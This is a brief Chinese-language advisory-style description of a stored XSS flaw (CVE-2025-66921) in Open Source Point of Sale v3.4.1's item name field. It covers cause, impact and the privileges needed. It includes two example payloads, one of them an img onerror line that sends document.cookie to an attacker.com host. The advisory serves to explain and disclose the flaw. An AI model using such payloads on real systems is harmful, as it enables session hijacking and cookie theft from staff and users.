CVE-2025-66921CVE-2025-66921是Open Source Point of Sale(开源销售点系统)v3.4.1版本中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于系统的创建和更新项目(Item)模块中,攻击者可以通过"name"参数向系统注入恶意的JavaScript代码或HTML标记。由于该漏洞是存储型XSS,恶意脚本会被永久保存在服务器端数据库中,所有访问该内容的用户都会受到攻击影响。攻击者可以利用此漏洞窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或传播恶意软件。该漏洞需要高权限用户才能利用,但一旦被利用,可能导致严重的业务数据泄露和系统安全风险。开源销售点系统通常用于零售、餐饮等行业,处理大量的商品信息和交易数据,因此该漏洞可能影响大量终端用户的安全。
该XSS漏洞源于Open Source Point of Sale在处理商品名称(name)参数时缺乏充分的输入验证和输出编码。当用户创建或更新商品信息时,系统直接将用户输入的"name"参数值存储到数据库,并在后续页面中未经适当转义就直接输出到HTML页面中。攻击者可以在商品名称字段中注入恶意脚本,如:<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>。由于系统使用PHP开发且可能使用传统的mysql_*函数或未正确使用htmlspecialchars()等函数进行输出编码,导致恶意脚本被浏览器解析执行。攻击者需要具有创建或更新商品的高权限(如管理员或经理角色),但攻击成功后,所有查看商品列表或详情的用户都会触发该脚本,造成会话劫持或数据窃取。